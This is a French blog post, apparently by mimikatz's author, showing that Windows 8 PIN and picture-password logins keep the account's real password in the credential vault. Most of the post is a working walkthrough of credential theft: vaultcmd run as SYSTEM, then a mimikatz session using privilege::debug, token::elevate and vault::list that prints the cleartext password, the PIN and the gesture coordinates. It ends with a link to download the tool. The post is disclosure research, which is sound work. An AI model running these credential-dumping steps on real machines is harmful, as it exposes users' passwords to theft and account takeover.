Avec l’arrivée de Windows 8 dans un monde de tablettes, certaines équipes de Microsoft ont dû réfléchir à la facilité de saisir des mots de passe tel que Tr0ub4dor&3
ou Tmb1W>r~
sur un clavier tactile limité.
Windows 8 introduit alors 2 nouveaux modes de connexions utilisateur :
- Connexion par code PIN
- Connexion par mot de passe image
Quelques explications sur le fonctionnement du mot de passe image : http://blogs.msdn.com/b/b8/archive/2011/12/16/signing-in-with-a-picture-password.aspx
Hypothèse
Le fonctionnement interne de Windows, que ce soit la DPAPI, les authentifications réseau ou dans certains cas l’utilisation du compte Live, repose sur des dérivés du mot de passe réel du compte.
Il y a donc fort à parier que dans ce mode de fonctionnement, PIN ou mot de passe image, Windows stocke le mot de passe réel de l’utilisateur pour le réutiliser lors d’une ouverture de session véritable.
Création
Créons un code PIN (4567) :
Ainsi qu’un mot de passe image :
Investigation
Il n’y a pas à chercher très loin, une bonne partie des informations est disponible avec les outils de base :
C:\Windows\System32>whoami autorite nt\système C:\Windows\System32>vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} Informations d'identification du coffre : {4BF4C442-9B8A-41A0-B380-DD4A704DDB28} Schéma d'informations d'identification : Picture Password Vault Resource Schema Ressource : Picture Password Vault Resource Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000 Enregistré par : Picture Password Credential Caché : Non Itinérance : Non Propriété (ID d'élément de schéma, valeur) : (100,0200000039000000350000001700000001000000010000003D00000017000000590000002600000000000000690000000A0000000000000000000000) Schéma d'informations d'identification : PIN Logon Vault Resource Schema Ressource : PIN Logon Vault Resource Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000 Enregistré par : PIN Logon Credential Caché : Non Itinérance : Non Propriété (ID d'élément de schéma, valeur) : (100,4567)
Il suffit donc d’utiliser mimikatz pour emprunter l’identité du système puis de lire le contenu de son coffre :
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 11 2014 15:24:10) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 14 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # token::elevate Token Id : 0 User name : SID name : AUTORITE NT\Système 416 32204 AUTORITE NT\Système S-1-5-18 (04g,20p) Primary -> Impersonated ! * Process Token : 2550316 windows-81\Administrateur S-1-5-21-4225648291-2795866717-3191023170-500 (14g,23p) Primary * Thread Token : 2555077 AUTORITE NT\Système S-1-5-18 (04g,20p) Impersonation (Delegation) mimikatz # vault::list Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28} Name : Informations didentification Web Path : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28 Items (2) 0. Picture Password Credential Type : {b4b8a12b-183d-4908-9559-bd8bce72b58a} LastWritten : 11/01/2014 19:57:42 Flags : 00000000 Ressource : Picture Password Vault Resource Identity : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 Authenticator : PackageSid : Property 0 : 02 00 00 00 39 00 00 00 35 00 00 00 17 00 00 00 01 00 00 00 01 00 00 00 3d 00 00 00 17 00 00 00 59 00 00 00 26 00 00 00 00 00 00 00 69 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 *Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 *** Picture Password *** User : windows-81\Gentil Kiwi Password : Tr0ub4dor&3 Picture password (grid is 150*100) [0] circle (x = 57 ; y = 53 ; r = 23) - clockwise [1] line (x = 61 ; y = 23) -> (x = 89 ; y = 38) [2] point (x = 105 ; y = 10) 1. PIN Logon Credential Type : {b2e033f5-5fde-450d-a1bd-3791f465720c} LastWritten : 11/01/2014 18:46:40 Flags : 00000000 Ressource : PIN Logon Vault Resource Identity : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 Authenticator : PackageSid : Property 0 : 4567 *Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 *** Pin Logon *** User : windows-81\Gentil Kiwi Password : Tr0ub4dor&3 PIN Code : 4567
Vérification
Nous retrouvons bien le mot de passe « en clair », ainsi que le code PIN, et les indications de gestes avec le référentiel suivant :
Téléchargement
La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz